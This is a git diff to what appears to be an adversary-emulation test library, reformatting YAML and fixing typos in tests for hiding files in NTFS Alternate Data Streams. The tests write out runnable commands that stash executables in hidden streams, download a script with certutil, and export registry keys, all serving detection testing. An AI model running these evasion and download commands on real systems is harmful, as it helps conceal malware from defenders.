diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index cd327fff..7a55460d 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -31708,22 +31708,24 @@ defense-evasion:
type: path
default: c:\ADS\
executor:
- command: "type C:\\temp\\evil.exe > \"C:\\Program Files (x86)\\TeamViewer\\TeamViewer12_Logfile.log:evil.exe\"\nextrac32
- #{path}\\procexp.cab #{path}\\file.txt:procexp.exe\nfindstr /V /L W3AllLov3DonaldTrump
- #{path}\\procexp.exe > #{path}\\file.txt:procexp.exe\ncertutil.exe -urlcache
- -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1
- c:\\temp:ttt\nmakecab #{path}\\autoruns.exe #{path}\\cabtest.txt:autoruns.cab\nprint
- /D:#{path}\\file.txt:autoruns.exe #{path}\\Autoruns.exe\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg
- #{path}\\file.txt:evilreg.reg\nregedit /E #{path}\\file.txt:regfile.reg
- HKEY_CURRENT_USER\\MyCustomRegKey\nexpand \\\\webdav\\folder\\file.bat #{path}\\file.txt:file.bat\nesentutl.exe
- /y #{path}\\autoruns.exe /d #{path}\\file.txt:autoruns.exe /o \n"
+ command: |
+ type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
+ extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
+ findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
+ certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\temp:ttt
+ makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
+ print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
+ reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
+ regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
+ expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
+ esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o
name: command_prompt
elevation_required: true
- name: Store file in Alternate Data Stream (ADS)
auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02
description: |
Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
- Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test
+ Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test
supported_platforms:
- windows
input_arguments:
@@ -31776,8 +31778,8 @@ defense-evasion:
- name: Create ADS PowerShell
auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1
description: |
- Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
- in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
+ Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
+ in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
supported_platforms:
- windows
input_arguments:
@@ -31811,10 +31813,10 @@ defense-evasion:
name: powershell
- name: Create Hidden Directory via $index_allocation
auto_generated_guid: 3e6791e7-232c-481c-a680-a52f86b83fdf
- description: "Create an Alternate Data Stream Directory and File with the command
- prompt. Write access is required. Upon execution, \nrun \"dir /A /Q /R\" in
- the %temp% folder to view that the alternate data stream folder exists. To
- view the data in the \nalternate data stream, run \"type %temp%\\...$.......::$index_allocation\\secrets.txt\"\n"
+ description: |
+ Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
+ run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
+ alternate data stream, run "type %temp%\...$.......::$index_allocation\secrets.txt"
supported_platforms:
- windows
input_arguments:
diff --git a/atomics/Indexes/windows-index.yaml b/atomics/Indexes/windows-index.yaml
index 56774050..a555fcf6 100644
--- a/atomics/Indexes/windows-index.yaml
+++ b/atomics/Indexes/windows-index.yaml
@@ -26280,22 +26280,24 @@ defense-evasion:
type: path
default: c:\ADS\
executor:
- command: "type C:\\temp\\evil.exe > \"C:\\Program Files (x86)\\TeamViewer\\TeamViewer12_Logfile.log:evil.exe\"\nextrac32
- #{path}\\procexp.cab #{path}\\file.txt:procexp.exe\nfindstr /V /L W3AllLov3DonaldTrump
- #{path}\\procexp.exe > #{path}\\file.txt:procexp.exe\ncertutil.exe -urlcache
- -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1
- c:\\temp:ttt\nmakecab #{path}\\autoruns.exe #{path}\\cabtest.txt:autoruns.cab\nprint
- /D:#{path}\\file.txt:autoruns.exe #{path}\\Autoruns.exe\nreg export HKLM\\SOFTWARE\\Microsoft\\Evilreg
- #{path}\\file.txt:evilreg.reg\nregedit /E #{path}\\file.txt:regfile.reg
- HKEY_CURRENT_USER\\MyCustomRegKey\nexpand \\\\webdav\\folder\\file.bat #{path}\\file.txt:file.bat\nesentutl.exe
- /y #{path}\\autoruns.exe /d #{path}\\file.txt:autoruns.exe /o \n"
+ command: |
+ type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
+ extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
+ findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
+ certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1564.004/src/test.ps1 c:\temp:ttt
+ makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
+ print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
+ reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
+ regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
+ expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
+ esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o
name: command_prompt
elevation_required: true
- name: Store file in Alternate Data Stream (ADS)
auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02
description: |
Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
- Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test
+ Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test
supported_platforms:
- windows
input_arguments:
@@ -26348,8 +26350,8 @@ defense-evasion:
- name: Create ADS PowerShell
auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1
description: |
- Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
- in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
+ Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
+ in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
supported_platforms:
- windows
input_arguments:
@@ -26383,10 +26385,10 @@ defense-evasion:
name: powershell
- name: Create Hidden Directory via $index_allocation
auto_generated_guid: 3e6791e7-232c-481c-a680-a52f86b83fdf
- description: "Create an Alternate Data Stream Directory and File with the command
- prompt. Write access is required. Upon execution, \nrun \"dir /A /Q /R\" in
- the %temp% folder to view that the alternate data stream folder exists. To
- view the data in the \nalternate data stream, run \"type %temp%\\...$.......::$index_allocation\\secrets.txt\"\n"
+ description: |
+ Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
+ run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
+ alternate data stream, run "type %temp%\...$.......::$index_allocation\secrets.txt"
supported_platforms:
- windows
input_arguments:
diff --git a/atomics/T1564.004/T1564.004.md b/atomics/T1564.004/T1564.004.md
index 2b76ca66..692f30fc 100644
--- a/atomics/T1564.004/T1564.004.md
+++ b/atomics/T1564.004/T1564.004.md
@@ -71,7 +71,7 @@ esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o
## Atomic Test #2 - Store file in Alternate Data Stream (ADS)
Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.
-Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test
+Upon execution, cmd will run and attempt to launch desktop.ini. No windows remain open after the test
**Supported Platforms:** Windows
@@ -153,8 +153,8 @@ del #{file_name} >nul 2>&1
## Atomic Test #4 - Create ADS PowerShell
-Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
-in the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
+Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, run the command "ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname"
+in the %temp% directory to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.
**Supported Platforms:** Windows
@@ -206,8 +206,8 @@ New-Item -Path #{file_name} | Out-Null
## Atomic Test #5 - Create Hidden Directory via $index_allocation
-Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
-run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
+Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution,
+run "dir /A /Q /R" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the
alternate data stream, run "type %temp%\...$.......::$index_allocation\secrets.txt"
**Supported Platforms:** Windows